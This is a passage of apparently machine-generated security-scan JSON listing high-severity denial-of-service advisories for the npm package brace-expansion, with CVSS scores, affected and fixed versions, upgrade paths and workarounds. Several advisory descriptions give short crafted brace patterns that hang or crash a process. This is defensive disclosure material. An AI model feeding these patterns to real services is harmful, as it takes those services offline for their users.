Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": 